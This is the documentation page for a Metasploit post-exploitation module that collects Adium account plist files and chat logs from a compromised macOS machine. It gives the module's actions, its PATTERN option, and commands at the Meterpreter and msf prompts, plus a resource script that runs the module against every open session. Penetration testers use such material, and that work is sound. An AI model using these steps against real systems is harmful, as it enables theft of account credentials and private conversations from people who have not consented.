This module will collect Adium's account plist files and chat logs from the victim's machine. There are three different actions you may choose: ACCOUNTS, CHATS, and ALL. Note that to use the 'CHATS' action, make sure you set the regex 'PATTERN' option in order to look for certain log names (which consists of a contact's name, and a timestamp). The current 'PATTERN' option is configured to look for any log created on February 2012 as an example. To loot both account plists and chat logs, simply set the action to 'ALL'.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
There are two ways to execute this post module.
From the Meterpreter prompt
The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:
meterpreter > run post/osx/gather/enum_adium
From the msf prompt
The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.
msf > use post/osx/gather/enum_adium
msf post(enum_adium) > show options
... show and set options ...
msf post(enum_adium) > set SESSION session-id
msf post(enum_adium) > exploit
If you wish to run the post against all sessions from framework, here is how:
1 - Create the following resource script:
framework.sessions.each_pair do |sid, session|
run_single("use post/osx/gather/enum_adium")
run_single("set SESSION #{sid}")
run_single("run")
end
2 - At the msf prompt, execute the above resource script:
msf > resource path-to-resource-script
Required Options
- SESSION: The session to run this module on.
